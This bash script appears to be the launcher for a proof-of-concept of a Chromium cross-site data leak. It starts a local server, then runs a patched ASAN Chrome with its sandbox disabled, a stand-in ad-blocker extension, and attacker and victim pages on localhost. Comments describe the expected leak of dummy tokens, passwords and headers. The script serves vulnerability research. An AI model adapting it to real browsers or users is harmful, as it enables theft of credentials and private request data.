#!/bin/bash
# POC runner: starts the two-port HTTP server and launches the patched
# ASAN Chrome with the stand-in ad-blocker extension loaded.
#
# Expected output on stderr:
#   [POC-ATTACKER pid=N] ...   <- compromised web renderer registering listener
#   [POC-LEAK pid=N] ...       <- same renderer receiving cross-site request data
#
# The leak is proven when the [POC-LEAK] lines appear in the SAME pid as the
# [POC-ATTACKER] lines and contain the victim's URL / POST body / headers
# (http://localhost:8081/secret-victim-endpoint?token=TOPSECRET,
#  SUPER_SECRET_VICTIM_PASSWORD, hunter2-authorization-header).

set -e

ARTIFACTS="$(cd "$(dirname "$0")" && pwd)"
CHROME=${CHROME:-/chromium/chromium/src/out/asan/chrome}
PROFILE=$(mktemp -d /tmp/chrome-poc-profile.XXXXXX)

cleanup() {
  kill $SERVER_PID 2>/dev/null || true
  rm -rf "$PROFILE"
}
trap cleanup EXIT

cd "$ARTIFACTS"
python3 server.py >/dev/null 2>server.log &
SERVER_PID=$!
sleep 1

"$CHROME" \
  --no-sandbox \
  --no-first-run --no-default-browser-check --ignore-gpu-blocklist \
  --disable-gpu \
  --user-data-dir="$PROFILE" \
  --load-extension="$ARTIFACTS/extension" \
  --enable-logging=stderr \
  "http://127.0.0.1:8080/attacker.html" \
  "http://localhost:8081/victim.html" \
  2>&1